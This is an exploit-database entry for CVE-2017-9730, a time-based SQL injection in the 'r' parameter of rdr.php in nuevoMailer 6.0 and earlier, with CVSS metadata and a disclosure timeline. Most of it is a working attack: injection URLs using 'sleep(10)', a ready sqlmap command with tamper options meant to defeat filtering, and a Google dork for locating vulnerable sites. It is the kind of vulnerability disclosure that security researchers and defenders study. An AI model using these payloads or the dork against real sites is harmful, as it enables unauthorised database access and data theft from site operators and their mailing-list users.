nuevoMailer version 6.0 and earlier time-based SQL Injection

vendor:

nuevomailer

by:

ALEH BOITSAU

9,8

CVSS

CRITICAL

SQL Injection

CWE

Product Name: nuevomailer

Affected Version From: 6.0

Affected Version To: 6.0

Patch Exists: NO

Related CWE: CVE-2017-9730

CPE: 2.3:a:nuevomailer:nuevomailer:6.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2017

nuevoMailer version 6.0 and earlier time-based SQL Injection

SQL injection vulnerability in rdr.php in nuevoMailer version 6.0 and earlier allows remote attackers to execute arbitrary SQL commands via the "r" parameter. PoC: https://vulnerable_site.com/inc/rdr.php?r=69387c602c1056c556[time based SQL INJ] https://vulnerable_site.com/inc/rdr.php?r=69387c602c1056c556%20and%20sleep(10)--+ sqlmap -u "http://vulnerable_site.com/inc/rdr.php?r=120c44c5" --dbms=mysql -p r --tamper=equaltolike,between --hostname --technique=T -v 3 --random-agent --time-sec=4 NB: "equaltolike" and "between" arsenal to defeat filtering! Data retrieval process may take more than usual time.

Mitigation:

Vendor has been notified and responded with intention to fix the vulnerability

Source

Exploit-DB raw data:

# Exploit Title: nuevoMailer version 6.0 and earlier time-based SQL Injection
# Exploit Author: ALEH BOITSAU
# Google Dork: inurl:/inc/rdr.php?
# Date: 2017-06-09
# Vendor Homepage: https://www.nuevomailer.com/
# Version: 6.0 and earlier
# Tested on: Linux
# CVE: CVE-2017-9730

Description: SQL injection vulnerability in rdr.php in nuevoMailer version 6.0 and earlier 
allows remote attackers to execute arbitrary SQL commands via the "r" parameter. 

PoC:

https://vulnerable_site.com/inc/rdr.php?r=69387c602c1056c556[time based SQL INJ]

https://vulnerable_site.com/inc/rdr.php?r=69387c602c1056c556%20and%20sleep(10)--+

sqlmap -u "http://vulnerable_site.com/inc/rdr.php?r=120c44c5" --dbms=mysql -p r --tamper=equaltolike,between  --hostname --technique=T -v 3 --random-agent --time-sec=4

NB: "equaltolike" and "between" arsenal to defeat filtering! Data retrieval process may take more than usual time.

Disclosure Timeline:
2017-06-09: Vendor has been notified
2017-06-09: Vendor responded with intention to fix the vulnerability
2017-06-16: CVE number acquired
2017-06-16: Public disclosure